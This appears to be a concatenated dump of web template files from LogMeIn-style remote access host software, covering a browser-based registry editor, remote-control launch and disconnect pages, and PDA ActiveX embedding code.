if (parent.document.forms.keyForm.key.value != "") {
parent.document.getElementById('keydisplay').innerHTML = fullKey();
var addkey=parent.document.getElementById('addkey');
if (addkey)
addkey.style.display = 'block';
parent.document.forms.keyForm.name.focus()
}
}
function fullKey() {
if ( tree.getSelected() ) {
var	node = tree.getSelected();
var key = "";
while( node.parentNode ) {
if ( node.icon.substring(0,14) != "img/menu_blank" )
key = node.text + "\\" + key;
node = node.parentNode;
}
return( key );
}
return("");
}
function favourite() {
<?if BRAND.LOGMEIN?>
window.top.menu.title.location = 'title.html?favname=$ADMIN.REGISTRY.TITLE$&favicon=menu_admin.png&favargs=regframes.html%3Fkey%3D' + fullKey();
<?else?>
top.title.location = 'title.html?favname=$ADMIN.REGISTRY.TITLE$&favicon=menu_admin.png&favargs=regframes.html%3Fkey%3D' + fullKey();
<?endif?>
}
function refresh() {
if (tree.getSelected())
{
if ( (tree.getSelected().parentNode) && (typeof(tree.getSelected().parentNode.reload) == "function") ) 
{
tree.getSelected().parentNode.reload();
}
}
else
location.reload();
}
function enableButtons() {
var tooldel = document.getElementById('tooldel');
var toolnew = document.getElementById('toolnew');
var enable_del = false;
var enable_new = false;
var hand_on = <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>"hand"<?else?>"pointer"<?endif?>;
var hand_off = "auto";
if (fullKey().length > 0) {
enable_del = true;
enable_new = true;
}

tooldel.src = enable_del ? "img/ico_delete.gif" : "img/ico_delete_off.gif";
toolnew.src = enable_new ? "img/ico_new.gif" : "img/ico_new_off.gif";
tooldel.style.cursor = enable_del ? hand_on : hand_off;
toolnew.style.cursor = enable_new ? hand_on : hand_off;

// check every second
setTimeout("enableButtons()", 1000);
}
</script>
</head>

<body class="clientArea" style="padding:0px" onLoad="enableButtons(); winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5);">
<div id="info">

<?action "reglist"?>
<?if WINERRNUM?>
<div><b>&WINERRMSG&</b></div>
<?endif?>
<div class="buttonBar" style="white-space:nowrap;">
<div class="buttonGroup">
<?if USE.QUICKLINKS?>
<img src="img/ico_favourite.gif" onclick="favourite()" title="&MSG.QLINKS.ADD&">
<?endif?>
<img src="img/ico_refresh.gif" onclick="refresh()" title="&DIALOG.UPDATE&">
</div>
<div class="buttonGroup">
<img id="toolnew" src="img/ico_new.gif"	onclick="viewKeyForm()" title="<?&ADMIN.REGISTRY.NEWKEY?>">
<img id="tooldel" src="img/ico_delete.gif" onclick="doDelete()"	title="<?&DIALOG.DELETE?>">
</div>
</div>

<?if KEYS?>
<div id="infoArea" class="scrollableDataArea" style="overflow-x:auto; overflow-y:auto;" height="90%">
<script type="text/javascript">
RATreeConfig.rootIcon		= "img/menu_script.png?bg=$COLOR.DlgBack$";
RATreeConfig.openRootIcon	= "img/menu_script.png?bg=$COLOR.DlgBack$";
RATreeConfig.fileIcon		= "img/menu_folder.png";
var tree = new RATree("&SRVNAME&");
<?enum KEYS?>
<?if KEY.KEYS==0?>
tree.add(new RATreeItem("&KEY.NAME&", "regvalues.html?key=" + escape("$KEY.PATH$") ));
<?else?>
tree.add(new RALoadTreeItem( "&KEY.NAME&", "regdir.xml?key=" + escape("$KEY.PATH$"), "regvalues.html?key=" + escape("$KEY.PATH$") ) );
<?endif?>
<?next?>
document.write(tree);
</script>
</div>
<?endif?>

<!-- KEY window-->
<div id="addkey" class="subwindow" style="left:20px;top:80px;width:auto;height:auto;display:none;">
<script language="javascript">
function doAdd() {
if ( tree.getSelected() ) {
var frm = document.forms['keyForm'];
parent.values.location = "regvalues.html?op=addkey&name=" + escape(frm.name.value) + "&key=" + escape(frm.key.value) + "&token=$CSRFTOKEN$" + "&reload=1";
}
}
</script>
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&ADMIN.REGISTRY.NEWKEY?></span></div>
<div style="padding: 10px">
<p id="keydisplay"></p>
<center>
<form id="keyForm">
<input type="hidden" name="key" value=""> 
<?&MSG.NAME?>:&nbsp;<input type="text"   name="name" size="30"><br><br>
<input type="submit" value="<?&DIALOG.Apply?>" onclick="winShow('addkey', false);doAdd();return(false);">
<input type="button" value="<?&DIALOG.Cancel?>" onclick="winShow('addkey',false);return(false);">
</form> 
</center>
</div>
</div>

</div>
</body>
</html>
"reglistLight.html'<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>

<script type="text/javascript" src="js/window.js"></script>
</head>

<body class="clientArea" style="padding:0px">
<?
if REQ.OP
if not REQ.CANCEL
action "regedit"
usemacro WINERRDLG()
endif
endif
action "reglist"
usemacro WINERRDLG()
?>
<script language="JavaScript">
function indent(level) {
if (level>1) {
document.write('<img src="img/menu_blank.gif?bg=%COLOR.DlgBack%" width="' + ((level-1)*18) + '" height="18" border="0" align="absbottom">');
}
}
parent.values.location = 'regvalues.html?key=' + escape('$KEY.PATH$') + '&$RND$'
</script>

<?if LORES?>
<table class="titleBar"><tr>
<td><img src="img/menu_registry.gif" align="absmiddle">&nbsp;<?&ADMIN.REGISTRY.TITLE?></td>
<td align=right><a href="menuPDA.html" align="absmiddle"><img src="img/ico_PDA_back.png?bg=%COLOR.CapBack%" align="absmiddle"></a></td>
</tr></table>
<?if not KEYS
redirect TEMPLATE "?key=" PARENT.PATH
endif?>
<?else?>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.REGISTRY.TITLE%&favicon=menu_admin.png&favargs=regframes.html%3Fkey%3D%KEY.PATH%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?key=%KEY.PATH%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<?if REQ.key?><?if not REQ.key=""?><a href="&TEMPLATE&?key=%KEY.PATH%&addkey=1"><img src="img/ico_new.gif" title="&ADMIN.REGISTRY.NEWKEY&" border="0"></a><?endif?><?endif?>
<a href="&TEMPLATE&?key=%PARENT.PATH%&name=%KEY.NAME%&op=delkey" onclick="return confirm('$ADMIN.REGISTRY.SUREDELETEKEY$')"><img src="img/ico_delete.gif" title="&DIALOG.DELETE&" border="0"></a>
</div>
</div>
<?endif?>

<div class="clientArea">
<?if REQ.ADDKEY?>
<center><br>
<form action="&TEMPLATE&" method="get">
\<?&KEY.PATH?>\<br><br>
<input type="hidden" name="op" value="addkey">
<input type="hidden" name="key" value="&KEY.PATH&">
<?&ADMIN.REGISTRY.NEWKEY?>:&nbsp;<input type="text" name="name" size="15"><br><br>
<input type="submit" name="submit" value="&MSG.DIALOG.Apply&">
<input type="submit" name="cancel" value="&MSG.DIALOG.Cancel&">
</form>
</center>
<?else?>
<table align=center>
<a href="&TEMPLATE&?%RND%"><img src="img/menu_script.png?bg=%COLOR.MenuBack%" align="absbottom" border="0">&nbsp;<?&SRVNAME?></a><br>
<?enum PATH?>
<script language="JavaScript">
indent(=ENUM.INDEX=);
</script>
<a href="&TEMPLATE&?key=%PATH.PARENT%&%RND%"><img src="img/menu_Lminus.gif" width="18" height="18"
align="absbottom" border="0"></a><a href="&TEMPLATE&?key=%PATH.FULL%&%RND%"><img src="img/menu_openfolder.gif"
width="16" height="16" align="absbottom" border="0">&nbsp;<?&PATH.PART?></a><br>
<?set PATH.PARENT=PATH.FULL?>
<?next?>

<?if KEYS?>
<?enum KEYS?>
<?if ENUM.INDEX=ENUM.COUNT?><?set T="L"?><?else?><?set T="T"?><?endif?>
<script language="JavaScript">
indent(=PATH=+1);
</script>
<?if LORES?>
<?if KEY.KEYS?>
<a href="&TEMPLATE&?key=%KEY.PATH%"><img src="img/menu_&T&plus.gif" width="18" height="18" border="0"></a>
<a href="regvalues.html?key=%KEY.PATH%"><img src="img/menu_folder.gif" width="16" height="16" border="0">&nbsp;<?&KEY.NAME?></a>
<?else?>
<img src="img/menu_&T&.gif" width="18" height="18">
<a href="regvalues.html?key=%KEY.PATH%"><img src="img/menu_folder.gif" width="16" height="16" border="0">&nbsp;<?&KEY.NAME?></a>
<?endif?>
<?else?>
<?if KEY.KEYS==0?>
<img src="img/menu_&T&.gif" width="18" height="18" border="0">
<a target="values" href="regvalues.html?key=%KEY.PATH%"><img src="img/menu_folder.gif" width="16" height="16" border="0">&nbsp;<?&KEY.NAME?></a>
<?else?>
<a href="&TEMPLATE&?key=%KEY.PATH%">
<img src="img/menu_&T&plus.gif" width="18" height="18" align="absbottom" border="0">
<img src="img/menu_folder.gif" width="16" height="16" align="absbottom" border="0">&nbsp;<?&KEY.NAME?>
</a>
<?endif?>
<?endif?>
<br>
<?next?>
<?endif?>
</table>
<?if LORES?><?if REQ.key?><?if not REQ.key=""?>
<br><center><input type="button" value="&ADMIN.REGISTRY.NEWKEY&" onclick="window.location='&TEMPLATE&?key=%KEY.PATH%&addkey=1'" ID="Button1" NAME="Button1"></center>
<?endif?><?endif?><?endif?>
<?endif?>
</div>
</body>
</html>
zN regvaluePDA.html%ӕ<?ratmpl?>
<?
nocache
include "macros.html"
if REQ.OP
action "regedit"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body class="clientArea">
<div class="titleBar"><img src="img/menu_registry.gif" align="absmiddle">&nbsp;<?if REQ.NAME?>&REQ.NAME&<?else?>&ADMIN.REGISTRY.NEWVAL&<?endif?></div>

<form name="keyform" action="regvalues.html" method="get"> 
<center>
<input type="hidden" name="op" value="setval"> 
<input type="hidden" name="key" value="&REQ.KEY&">
<table style="border:0">
<tr>
<td align="right">Name:</td><td><input type="text" name="name" size="20" value="&REQ.NAME&"></td>
</tr><tr>
<td align="right">Type:</td><td>
<select name="type" size="1"> 
<option value="REG_DWORD" <?if REQ.TYPE="REG_DWORD"?>selected<?endif?>>REG_DWORD</option> 
<option value="REG_SZ" <?if REQ.TYPE="REG_SZ"?>selected<?endif?>>REG_SZ</option> 
<option value="REG_EXPAND_SZ" <?if REQ.TYPE="REG_EXPAND_SZ"?>selected<?endif?>>REG_EXPAND_SZ</option> 
<option value="REG_MULTI_SZ" <?if REQ.TYPE="REG_MULTI_SZ"?>selected<?endif?>>REG_MULTI_SZ</option> 
</select></td>
</tr><tr>
<td align="right">Value:</td><td><input type="text" name="data" size="20" value="&REQ.VAL&"></td>
</tr></table><br>
<input type="submit" value="<?&DIALOG.OK?>"> 
<input type="button" value="<?&DIALOG.Back?>" onclick="history.back()">
<?if REQ.NAME?><input type="submit" value="<?&DIALOG.DELETE?>" onclick="op.value='delval';return true;"><?endif?>
</center>
</form> 
</body>
</html>
SI"regvalues.html!<?ratmpl?>
<?
nocache
include "macros.html"
if REQ.OP
action "regedit"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "table.inc"?>
<script type="text/javascript" src="js/window.js"></script>
<script language="JavaScript">
var	knames	= new Array();
var	ktypes	= new Array();
var	kvalues	= new Array();
var	i		= 2;
var trows   = null;

function showValue() {
var	selrows = trows ? trows.getSelectedIndexes() : null;
var selitem = selrows ? selrows[0] : 0;
if (selitem > 0) {
var form = document.forms.editform;
if (ktypes[selitem] != "REG_BINARY") {
form.name.value = knames[selitem];
form.name2.value = form.name.value.length ? form.name.value : "($MSG.DEFAULT$)";
form.type.value = form.type.value;
form.type2.value = ktypes[selitem];
form.data.value = kvalues[selitem];
winShow("editvalue");
form.data.focus();
}
}
}
function newValue() {
<?if REQ.KEY?>
var form = document.forms.newform;
form.name.value = "";
form.data.value = "";
winShow("newvalue");
form.name.focus();
<?endif?>
}

function doDelete() {
var	selrows = trows ? trows.getSelectedIndexes() : null;
var selitem = selrows ? selrows[0] : 0;
if (selitem > 0) {
winHide("editvalue");
winHide("newvalue");
if (confirm("$MSG.ADMIN.REGISTRY.SUREDELETE$")  &&  knames[selitem]) {
window.location = "$TEMPLATE$?key=%REQ.KEY%&name=" + escape(knames[selitem]) + "&op=delval" + "&token=$CSRFTOKEN$";
}
}
}

function doPermissions() {
<?if REQ.KEY?>
window.location.replace('acledit.html?key=%REQ.KEY%&back=%QUERY%');
<?endif?>
}

function enableButtons() {
var tooldel = document.getElementById('tooldel');
var toolatr = document.getElementById('toolatr');
var toolprm = document.getElementById('toolprm');
var toolnew = document.getElementById('toolnew');
var enable_del = false;
var enable_prm = false;
var enable_new = false;
var enable_atr = false;
var hand_on = <?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE?>"hand"<?else?>"pointer"<?endif?>;
var hand_off = "auto";
if (trows) {
var	selrows = trows.getSelectedIndexes();
if (selrows) {
if (selrows[0] > 0) {
enable_del = true;
enable_atr = ktypes[selrows[0]]!="REG_BINARY"
}
}
enable_prm = <?if ISNT?>true<?else?>false<?endif?>;
enable_new = true;
}

tooldel.src = enable_del ? "img/ico_delete.gif" : "img/ico_delete_off.gif";
toolatr.src = enable_atr ? "img/ico_prop.gif" : "img/ico_prop_off.gif";
toolprm.src = enable_prm ? "img/ico_perm.gif" : "img/ico_perm_off.gif";
toolnew.src = enable_new ? "img/ico_newdoc.gif" : "img/ico_newdoc_off.gif";
tooldel.style.cursor = enable_del ? hand_on : hand_off;
toolatr.style.cursor = enable_atr ? hand_on : hand_off;
toolprm.style.cursor = enable_prm ? hand_on : hand_off;
toolnew.style.cursor = enable_new ? hand_on : hand_off;
}

function handleOnLoad() {
enableButtons(); 

<?if REQ.PARENTRELOAD?>
if (parent && parent.keys) {
var parentNode = parent.keys.tree.getSelected().parentNode;
parentNode.reload();
}
<?endif?>
<?if REQ.RELOAD?>
if (parent && parent.keys) {
var Node = parent.keys.tree.getSelected();
Node.reload();
}
<?endif?>
}

</script>
</head>

<?
usemacro WINERRDLG()
if REQ.KEY
action "reglist"
usemacro WINERRDLG()
?>

<body class="clientArea" style="padding:0px" onLoad="handleOnLoad(); winAutoHeight('infoArea', getElementHeight('info') - getElementHeight('infoArea') + 5);">
<div id="info">
<div class="buttonBar" style="white-space:nowrap;">
<div class="buttonGroup">
<a href="&TEMPLATE&?key=%REQ.KEY%&%RND%"><img src="img/ico_refresh.gif"   border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<img id="toolnew" src="img/ico_newdoc.gif"     onclick="newValue()"        title="&ADMIN.REGISTRY.NEWVAL&" border="0">
<img id="toolatr" src="img/ico_prop_off.gif"   onclick="showValue()"       title="&MSG.PROPS&" border="0">
<img id="tooldel" src="img/ico_delete_off.gif" onclick="doDelete()"        title="&DIALOG.DELETE&" border="0">
<img id="toolprm" src="img/ico_perm_off.gif"   onclick="doPermissions()"   title="&MSG.ACL.EDIT&" border="0">
</div>
</div>

<?if VALUES?>
<script language="JavaScript">
<?enum VALUES?>
knames[i]	= "$VALUE.NAME$";
ktypes[i]	= "$VALUE.TYPE$";
kvalues[i]  = <?if VALUE.TYPE="REG_BINARY"?>""<?else?>"$VALUE.DATA$"<?endif?>;
i++; <?next?>
</script>
<div id="infoArea" class="scrollableDataArea">
<table id="plist" class="inner" width="96%" onclick="setTimeout('enableButtons()',100)" cellpadding="2">
<thead>
<tr><th colspan="3"><?&KEY.PATH?></th></tr>
<tr class="ttd">
<td><?&MSG.NAME?></td>
<td><?&MSG.TYPE?></td>
<td><?&MSG.VALUE?></td>
</tr>
</thead>
<tbody>
<?enum VALUES?>
<tr valign="top" ondblclick="showValue()">
<td>
<?if VALUE.NAME?>&VALUE.NAME&<?else?>(&MSG.DEFAULT&)<?endif?>
</td>
<td>&VALUE.TYPE& (&VALUE.SIZE&)</td>
<?if VALUE.TYPE has "DWORD" // numeric value?>
<td class="num"><?&VALUE.DATA?><?if VALUE.DATA > 9?> (0x<?&VALUE.DATA_hex8?>)<?endif?></td>
<?elseif VALUE.TYPE has "QWORD"?>
<td class="num"><?&VALUE.DATA?><?if VALUE.DATA > 9?> (0x<?&VALUE.DATA_hex16?>)<?endif?></td>
<?else?>
<td><?&VALUE.DATA _mx50?></td>
<?endif?>
</tr>
<?next?>
</tbody>
</table>
<script type="text/javascript">
trows = new SelectableTableRows(document.getElementById("plist"), false);
</script>
</div>
<?endif?>

<!-- VALUE window-->
<div id="editvalue" class="subwindow" style="left:5px;top:80px;width:98%;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&MSG.VALUE?></span></div>
<form name="editform" action="&TEMPLATE&" method="get"> 
<center>
<input type="hidden" name="op" value="setval"> 
<input type="hidden" name="key" value="&KEY&">
<input type="hidden" name="name" value="">
<input type="hidden" name="type" value="">
<input type="hidden" name="token" value="&CSRFTOKEN&">
<table>
<tr>
<td align="right"><?&MSG.NAME?>:</td>
<td><input type="text" name="name2" size="20" value="" disabled></td>
</tr>
<tr>
<td align="right"><?&MSG.TYPE?>:</td>
<td><input type="text" name="type2" size="15" value="" disabled></td>
</tr>
<tr>
<td align="right"><?&MSG.VALUE?>:</td>
<td><textarea name="data" rows="4" cols="35" maxlength="1024"></textarea></td>
</tr>
</table><br>
<input type="submit" value="&MSG.DIALOG.OK&"> 
<input type="button" value="&MSG.DIALOG.Cancel&" onclick="winHide('editvalue')">
</center>
</form> 
</div>

<div id="newvalue" class="subwindow" style="left:5px;top:80px;width:auto;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText"><?&MSG.ADMIN.REGISTRY.NEWVAL?></span></div>
<form name="newform" action="&TEMPLATE&" method="post"> 
<center>
<input type="hidden" name="op" value="setval"> 
<input type="hidden" name="key" value="&KEY&">
<input type="hidden" name="token" value="&CSRFTOKEN&">
<table>
<tr>
<td align="right"><?&MSG.NAME?>:</td>
<td><input type="text" name="name" size="20"></td>
</tr>
<tr>
<td align="right"><?&MSG.TYPE?>:</td>
<td><select name="type" size="1"> 
<option>REG_SZ</option> 
<option>REG_EXPAND_SZ</option> 
<option>REG_MULTI_SZ</option> 
<option>REG_DWORD</option> 
<option>REG_QWORD</option> 
</select></td>
</tr>
<tr>
<td align="right"><?&MSG.VALUE?>:</td>
<td><textarea name="data" rows="4" cols="35" maxlength="1024"></textarea></td>
</tr>
</table><br>
<input type="submit" value="&MSG.DIALOG.Create&"> 
<input type="button" value="&MSG.DIALOG.Cancel&" onclick="winHide('newvalue')">
</center>
</form> 
</div>
<?endif?> 
</div>
</body>
</html>
wVdremctrl.html*o<?ratmpl?> 
<?nocache?>
<?
// include setui to set variables such as DL.COM (useful for java codebase)
if GUESTINVITE
include "setui.html"
endif
?>
<html>
<head><?include "setupdomain.html"?>
<?if GUESTINVITE?>
<title>&SRVNAME& - &MSG.RAGUI.GUESTINVITE.START.CAPTION& - &PRODUCTNAME&</title>
<?else?>
<title>&SRVNAME& - &MSG.REMCTRL.TITLE& - &PRODUCTNAME&</title>
<?endif?>
<?include "style.inc"?>

<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<? if not REQ.TYPE ?>
<script type="text/javascript">
if (! LMIBrowserInfo.IsPluginsSupported()) {
<? if UITYPE = "LMI" ?>
window.location.replace("lmistart.html?startclient=01&" + Math.floor((Math.random()*10000)+1));
<? else ?>
window.location.replace("dashboard.html?startclient=01&" + Math.floor((Math.random()*10000)+1));
<? endif ?>
}
</script>
<? endif ?>

</head>
<?include "remctrl_app.html"?>
</html>
^remctrl.xml<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
// set the default control type
if not REQ.TYPE
set REQ.TYPE = "activex"
endif

// handle 'view=0|1' parameter
if not REQ.VIEW
set REQ.VIEW = "0"
endif
set session RCVIEWONLY = REQ.VIEW
set session ISBORGCONNECTED = "Yes"
?>
<?action "appletssl"?>
<?action "remctrl"?>
<?xml version="1.0" encoding="utf-8"?>
<remctrl>
<?include "remctrl_params.html"?>
</remctrl>
,remctrldisconnect.html
<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?if BRAND.LOGMEIN
set session RA.COM = "https://" PRODUCTWEBSITE
endif?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<style>
.disconnTitle {
font-family: "Verdana", "Arial";
font-size: 16pt;
font-weight: bold;
color: "#2a669a";
}
.disconnExplanation {
font-family: "Verdana", "Arial";
font-size: 10pt;
color: "black";
}

</style>
</head>

<body style="width=100%; height=100%; background-color: &COLOR.DlgBack&;">
<center>

<table width="100%" height="100%">
<tr valign="middle"><td align="center">
<table>
<tr><td width="30"></td><td height="30"></td><td width="30"></td></tr>
<tr><td></td><td class="disconnTitle">&MSG.REMCTRL.DISCONNECTPAGE.TITLE&</td><td></td></tr>
<tr><td></td><td>&nbsp;</td><td></td></tr>
<tr><td></td>
<td class="disconnExplanation">
<?switch REQ.REASON?>
<?case "noauth"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=1"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH.1&<br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH.2&<br><br>
<?case "noauth-telnet"?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH&</b><br><br>
&MSG.TELNET.NORIGHTS&<br><br>
<?case "noauth-guest"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=1"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH.1G&<br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOAUTH.2&<br><br>
<?case "anotherconnected"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=2"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.BUSY&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.BUSY.1&<br><br>
&MSG.REMCTRL.DISCONNECTPAGE.BUSY.2&<br><br>
<?case "anotherconnected-guest"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=2"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.BUSY&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.BUSY.1&<br><br>
&MSG.REMCTRL.DISCONNECTPAGE.BUSY.2G&<br><br>
<?case "disconnectbutton"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=3"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.KICKED&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.KICKED.1&<br><br>
&MSG.REMCTRL.DISCONNECTPAGE.KICKED.2&<br><br>
<?case "timeout"?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=4"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.TIMEO&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.TIMEO.1&<br><br>
<?case "nodisplay"?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NODISPLAY&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NODISPLAY.1&<br><br>
<?case "nojava"?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NOJAVA&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOJAVA.1&<br><br>
<?case "inviteinvalid"?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.INVITEINVALID&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.INVITEINVALID.1&<br><br>
<?case "shutdown"?>
<b>&MSG.LOGOUT.REASON.SHUTDOWN&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.BUSY.2&<br><br>
<?case ""?>
<?if BRAND.LOGMEIN and GUESTINVITE
redirect RA.COM "/r.asp?r=hosterror&errorcode=6"
endif?>
<b>&MSG.REMCTRL.DISCONNECTPAGE.NOREASON&</b><br><br>
&MSG.REMCTRL.DISCONNECTPAGE.NOREASON.1&<br><br>
<?endswitch?>
</td>
<td></td></tr>
<tr><td></td><td>&nbsp;</td><td></td></tr>
<tr><td width="30"></td><td height="30"></td><td width="30"></td></tr>
</table></td></tr></table>
</center>
</body>
</html>
w,remctrlPDA.html	Q<?ratmpl?> 
<?nocache?>
<html>
<head>
<title>&SRVNAME& - &MSG.REMCTRL.TITLE& - &PRODUCTNAME&</title>
</head>
<body onunload="remctrl.Release();">
<script language="JavaScript" type="text/javascript">
<?include "remctrlPDA.js"?>
RemoteCtrl();
</script>

<script language="JavaScript">

if (typeof(remctrl) != "undefined" && remctrl.bugport == 0){
// patch for "<param bug" in the WinCE5.0 standard
remctrl.COPYRIGHT="$COPYRIGHT$";
//remctrl.HTTP.HOST="$HTTP.HOST$";
//remctrl.HTTP.PORT="' + port + '";

remctrl.bughost="$HTTP.HOST$";
remctrl.bugport=port;

//remctrl.PRODUCTNAME="$PRODUCTNAME$";
remctrl.bugPRODUCTNAME="$PRODUCTNAME$";

remctrl.SessionID="$RASID$";
remctrl.commv="4";
remctrl.supportsoptions="1";
<?if IS9X?>
remctrl.is9x="$IS9X$";
<?endif?>
remctrl.Lang="$LANG$";
remctrl.Brand="$PRODUCTABBR$";

remctrl.SSLOK=<?if SSL?>1<?else?>0<?endif?>;
<?if CACERT?>remctrl.CACERT="$CACERT$";<?endif?>
<?if RACERT?>remctrl.RACERT="$RACERT$";<?endif?>
<?if CACERTSHA?>remctrl.CACERTSHA="$CACERTSHA$";<?endif?>
<?if RACERTSHA?>remctrl.RACERTSHA="$RACERTSHA$";<?endif?>
<?if RAWSSL?>remctrl.RAWSSL="$RAWSSL$";<?endif?>

remctrl.NETSPEED="$COOKIE.REMCTRLNETSPEED$";
remctrl.SCREENRES="$COOKIE.REMCTRLSCREENRES$";
remctrl.SCREENBITS="$COOKIE.REMCTRLSCREENBITS$";

remctrl.msgVersion="$MSGVERSION$";
remctrl.AutoPan="$AUTOPAN$";
remctrl.Printing="$REMPRNT$";
remctrl.machine="$SRVNAME$";

remctrl.reqVersion="$ACTIVEX.VERSION$";
};


if (typeof(remctrl) == "undefined") {
window.location = "/remctrlPDApredownload.html?$RND$";
} else if (typeof(remctrl) == "object") {
if (typeof(remctrl.updateNeeded) == "undefined") {
window.location = "/remctrlPDApredownload.html?$RND$";
} else if (remctrl.updateNeeded == 1) {
window.location = "/remctrlPDApredownload.html?$RND$";
}
} else {
if (remctrl.updateNeeded == 1) {
window.location = "/remctrlPDApredownload.html?$RND$";
}
}
setTimeout('CheckFinished();', 3000);
</script>
<script language="JavaScript">
function CheckFinished() {
if (remctrl.finished == 1) {
window.location = "/menuPDA.html";
} else {
setTimeout('CheckFinished();', 3000);
}
}
</script>
<script for="remctrl" Event="OnFinished" language="Javascript">
window.location = "/menuPDA.html";
</script>
</body>
</html>
;remctrlPDA.js	2<?ratmpl?> 
<?nocache?>
<?action "appletssl"?>
<?action "remctrl"?> 

function RemoteCtrl() {
port = "$HTTP.PORT$";
if (port == "0") {
if (window.location.port == "") {
if (window.location.protocol == "https:") {
port = "443";
} else if (window.location.protocol == "http:") {
port = "80";
}
} else {
port = window.location.port;
}
}

document.write('<object id="remctrl" classid="CLSID:556EEC63-31E2-47C3-BF29-DFF799D2FE04" width="10" height="10" VIEWASTEXT>\n');
document.write('<param name="COPYRIGHT" value="$COPYRIGHT$">\n');
document.write('<param name="HTTP.HOST" value="$HTTP.HOST$">\n');
document.write('<param name="HTTP.PORT" value="' + port + '">\n');

document.write('<param name="bughost" value="$HTTP.HOST$">\n');
document.write('<param name="bugport" value="' + port + '">\n');

document.write('<param name="PRODUCTNAME" value="$PRODUCTNAME$">\n');
document.write('<param name="bugPRODUCTNAME" value="$PRODUCTNAME$">\n');

document.write('<param name="SessionID" value="$RASID$">\n');
document.write('<param name="commv" value="4">\n');
document.write('<param name="supportsoptions" value="1">\n');
<?if IS9X?>
document.write('<param name="is9x" value="$IS9X$">\n');
<?endif?>
document.write('<param name="Lang" value="$LANG$">\n');
document.write('<param name="Brand" value="$PRODUCTABBR$">\n');
document.write('<param name="HostOS" value="$LMIOSTYPE$">\n');

document.write('<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>">\n');
<?if CACERT?>document.write('<param name="CACERT" value="$CACERT$">\n');<?endif?>
<?if RACERT?>document.write('<param name="RACERT" value="$RACERT$">\n');<?endif?>
<?if CACERTSHA?>document.write('<param name="CACERTSHA" value="$CACERTSHA$">\n');<?endif?>
<?if RACERTSHA?>document.write('<param name="RACERTSHA" value="$RACERTSHA$">\n');<?endif?>
<?if RAWSSL?>document.write('<param name="RAWSSL" value="$RAWSSL$">\n');<?endif?>

document.write('<param name="NETSPEED" value="$COOKIE.REMCTRLNETSPEED$">\n');
document.write('<param name="SCREENRES" value="$COOKIE.REMCTRLSCREENRES$">\n');
document.write('<param name="SCREENBITS" value="$COOKIE.REMCTRLSCREENBITS$">\n');

document.write('<param name="msgVersion" value="$MSGVERSION$">\n');
document.write('<param name="AutoPan" value="$AUTOPAN$">\n');
document.write('<param name="Printing" value="$REMPRNT$">\n');
document.write('<param name="machine" value="$SRVNAME$">\n');

document.write('<param name="reqVersion" value="$ACTIVEX.VERSION$">\n');
document.write('</object>\n');
}

7<0remctrlPDAdownframe.htmlN^<?ratmpl?> 
<?nocache?>
<html>
<head>
<title>&SRVNAME& - &MSG.REMCTRL.TITLE& - &PRODUCTNAME&</title>
</head>
<frameset rows="*,0" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="remctrlPDAdownloading.html?$RND$" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
